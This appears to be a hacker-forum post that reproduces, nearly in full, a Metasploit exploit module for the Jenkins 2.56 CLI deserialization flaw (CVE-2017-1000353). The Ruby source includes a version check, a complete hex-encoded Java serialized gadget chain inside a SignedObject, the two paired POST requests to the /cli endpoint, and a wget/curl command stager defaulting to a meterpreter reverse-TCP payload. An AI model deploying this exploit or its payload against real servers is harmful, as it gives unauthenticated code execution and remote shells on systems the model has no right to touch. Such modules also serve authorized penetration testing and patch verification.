• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

Jenkins 2.56 CLI反序列化/代码执行漏洞


CNHCAKTEAM

Recommended Posts

  • Administrator

Jenkins 2.56及更低版本的CLI组件中存在未经身份验证的Java对象反序列化漏洞。Jenkins CLI远程处理组件中Command类中的readFrom方法反序列化从客户端接收的对象,而无需先检查/清理数据。因此,可以将包含在序列化SignedObject中的恶意序列化对象发送到Jenkins端点,以在目标上执行代码。

 

##<font></font>
# This module requires Metasploit: https://metasploit.com/download<font></font>
# Current source: https://github.com/rapid7/metasploit-framework<font></font>
##<font></font>
<font></font>
class MetasploitModule < Msf::Exploit::Remote<font></font>
  Rank = ExcellentRanking<font></font>
<font></font>
  include Msf::Exploit::Remote::HttpClient<font></font>
  include Msf::Exploit::CmdStager<font></font>
  prepend Exploit::Remote::AutoCheck<font></font>
<font></font>
  def initialize(info = {})<font></font>
    super(<font></font>
      update_info(<font></font>
        info,<font></font>
        'Name' => 'Jenkins CLI Deserialization',<font></font>
        'Description' => %q{<font></font>
          An unauthenticated Java object deserialization vulnerability exists<font></font>
          in the CLI component for Jenkins versions `v2.56` and below.<font></font>
<font></font>
          The `readFrom` method within the `Command` class in the Jenkins<font></font>
          CLI remoting component deserializes objects received from clients without<font></font>
          first checking / sanitizing the data. Because of this, a malicious serialized<font></font>
          object contained within a serialized `SignedObject` can be sent to the Jenkins<font></font>
          endpoint to achieve code execution on the target.<font></font>
        },<font></font>
        'License' => MSF_LICENSE,<font></font>
        'Author' =><font></font>
        [<font></font>
          'SSD', # PoC<font></font>
          'Unknown', # Vulnerability discovery<font></font>
          'Shelby Pace' # Metasploit module<font></font>
        ],<font></font>
        'References' =><font></font>
          [<font></font>
            [ 'URL', 'https://www.jenkins.io/security/advisory/2017-04-26/'],<font></font>
            [ 'CVE', '2017-1000353']<font></font>
          ],<font></font>
        'Privileged' => false,<font></font>
        'Platform' => 'linux',<font></font>
        'Arch' => [ ARCH_X86, ARCH_X64 ],<font></font>
        'Targets' =><font></font>
          [<font></font>
            [<font></font>
              'Linux',<font></font>
              {<font></font>
                'Platform' => 'linux',<font></font>
                'CmdStagerFlavor' => [ 'wget', 'curl' ],<font></font>
                'Arch' => [ ARCH_X86, ARCH_X64 ],<font></font>
                'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }<font></font>
              }<font></font>
            ]<font></font>
          ],<font></font>
        'DisclosureDate' => '2017-04-26',<font></font>
        'Notes' =><font></font>
        {<font></font>
          'Stability' => [ CRASH_SAFE ],<font></font>
          'Reliability' => [ UNRELIABLE_SESSION ],<font></font>
          'SideEffects' => [ IOC_IN_LOGS ]<font></font>
        },<font></font>
        'DefaultTarget' => 0<font></font>
      )<font></font>
    )<font></font>
<font></font>
    register_options(<font></font>
      [<font></font>
        Opt::RPORT(8080),<font></font>
        OptString.new('TARGETURI', [ true, 'The base path to Jenkins', '/' ])<font></font>
      ]<font></font>
    )<font></font>
  end<font></font>
<font></font>
  def check<font></font>
    login_uri = normalize_uri(target_uri.path, 'login')<font></font>
    login_res = send_request_cgi(<font></font>
      'method' => 'GET',<font></font>
      'uri' => login_uri<font></font>
    )<font></font>
<font></font>
    return Exploit::CheckCode::Unknown('Did not receive a response from the server') unless login_res<font></font>
<font></font>
    /Jenkins\s+ver\.\s+(?<version>\d+(?:\.\d+)*)/ =~ login_res.body<font></font>
    return Exploit::CheckCode::Safe('Version of Jenkins cannot be found.') unless version<font></font>
<font></font>
    vers_no = Gem::Version.new(version)<font></font>
    return Exploit::CheckCode::Appears("Jenkins version #{version} detected") if vers_no < Gem::Version.new('2.54')<font></font>
<font></font>
    Exploit::CheckCode::Detected<font></font>
  end<font></font>
<font></font>
  def exploit<font></font>
    print_status('Sending payload...')<font></font>
    execute_cmdstager(noconcat: true)<font></font>
  end<font></font>
<font></font>
  def format_payload(payload_data)<font></font>
    formatted_payload = '74'<font></font>
    formatted_payload << payload_data.length.to_s(16).rjust(4, '0')<font></font>
    formatted_payload << payload_data.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join<font></font>
  end<font></font>
<font></font>
  def execute_command(cmd, _opts = {})<font></font>
    sess_uuid = SecureRandom.uuid<font></font>
    sess_uri = normalize_uri(target_uri.path, 'cli')<font></font>
    preamble = '<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='<font></font>
<font></font>
    send_request_cgi(<font></font>
      {<font></font>
        'uri' => sess_uri,<font></font>
        'method' => 'POST',<font></font>
        'headers' =><font></font>
        {<font></font>
          'Side' => 'download',<font></font>
          'Session' => sess_uuid<font></font>
        }<font></font>
      },<font></font>
      nil, false<font></font>
    ) # don't wait for response, and don't disconnect<font></font>
<font></font>
    cmd = build_obj(cmd)<font></font>
    send_request_cgi(<font></font>
      {<font></font>
        'uri' => sess_uri,<font></font>
        'method' => 'POST',<font></font>
        'data' => preamble + [ cmd ].pack('H*'),<font></font>
        'headers' =><font></font>
        {<font></font>
          'Side' => 'upload',<font></font>
          'Session' => sess_uuid<font></font>
        }<font></font>
      }<font></font>
    )<font></font>
    sleep(2) # give buffer time between requests for processing<font></font>
  end<font></font>
<font></font>
  def build_obj(obj_data)<font></font>
    payload_data = '00000000aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5265666572656e63654d61'<font></font>
    payload_data << '701594ca03984908d7030000787077110000000000000001003f40000000000010737200286a6176612e7574696c2e636f6e63757272656e742'<font></font>
    payload_data << 'e436f70794f6e577269746541727261795365744bbdd092901569d70200014c0002616c74002b4c6a6176612f7574696c2f636f6e6375727265'<font></font>
    payload_data << '6e742f436f70794f6e577269746541727261794c6973743b7870737200296a6176612e7574696c2e636f6e63757272656e742e436f70794f6e5'<font></font>
    payload_data << '77269746541727261794c697374785d9fd546ab90c303000078707704000000027372002a6a6176612e7574696c2e636f6e63757272656e742e'<font></font>
    payload_data << '436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e637572726'<font></font>
    payload_data << '56e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63'<font></font>
    payload_data << '757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6'<font></font>
    payload_data << 'd70617261746f723b7870707372001a6a6176612e73656375726974792e5369676e65644f626a65637409ffbd682a3cd5ff0200035b0007636f'<font></font>
    payload_data << '6e74656e747400025b425b00097369676e617475726571007e000e4c000c746865616c676f726974686d7400124c6a6176612f6c616e672f537'<font></font>
    payload_data << '472696e673b7870757200025b42acf317f8060854e002000078700000050daced0005737200116a6176612e7574696c2e48617368536574ba44'<font></font>
    payload_data << '859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6'<font></font>
    payload_data << 'e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a'<font></font>
    payload_data << '6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e7'<font></font>
    payload_data << '32e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61706163'<font></font>
    payload_data << '68652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6'<font></font>
    payload_data << 'e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d6954'<font></font>
    payload_data << '72616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d657'<font></font>
    payload_data << '23b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8'<font></font>
    payload_data << '3418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436'<font></font>
    payload_data << 'f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c'<font></font>
    payload_data << '616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e7'<font></font>
    payload_data << '32e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f'<font></font>
    payload_data << '6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d547'<font></font>
    payload_data << '97065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c'<font></font>
    payload_data << '02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000078700'<font></font>
    payload_data << '00000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078'<font></font>
    payload_data << '707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106'<font></font>
    payload_data << 'a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013'<font></font>
    payload_data << '75720013'<font></font>
    payload_data << '5b4c6a6176612e6c616e672e537472696e673b'<font></font>
    payload_data << 'add256e7e91d7b47'<font></font>
    payload_data << '020000'<font></font>
    payload_data << '7870'<font></font>
    payload_data << '00000001'<font></font>
<font></font>
    obj_data = format_payload(obj_data)<font></font>
    payload_data << obj_data<font></font>
<font></font>
    payload_data << '740004'<font></font>
    payload_data << '65786563' # exec<font></font>
    payload_data << '7571007e0'<font></font>
    payload_data << '01b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756578'<font></font>
    payload_data << '7200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700'<font></font>
    payload_data << '507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878'<font></font>
    payload_data << '787571007e00110000002f302d02147ed1e347cfebac075517d658628ac128211d8895021500945aaa3b69fb24194cdf22bcee9fc9c5e317266'<font></font>
<font></font>
    # This index is the length of the serialized<font></font>
    # object that belongs to the SignedObject<font></font>
    start_arr = payload_data.index('050daced')<font></font>
    end_arr = payload_data.index('787571007e')<font></font>
    new_arr_len = ((end_arr + 2) / 2) - ((start_arr + 4) / 2)<font></font>
    payload_data[start_arr, 4] = new_arr_len.to_s(16).rjust(4, '0')<font></font>
<font></font>
    payload_data << '0740003445341737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017078737200316f72'<font></font>
    payload_data << '672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced5302000'<font></font>
    payload_data << '14c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c'<font></font>
    payload_data << '656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b03000078707'<font></font>
    payload_data << '37200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c'<font></font>
    payload_data << '656d656e747371007e0018787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136'<font></font>
    payload_data << 'a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740004617364667878'<font></font>
    payload_data << '7371007e001e00000000770400000000787871007e00207371007e00027371007e000577040000000271007e001a71007e00097871007e00207078'<font></font>
  end<font></font>
end<font></font>
<font></font>
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now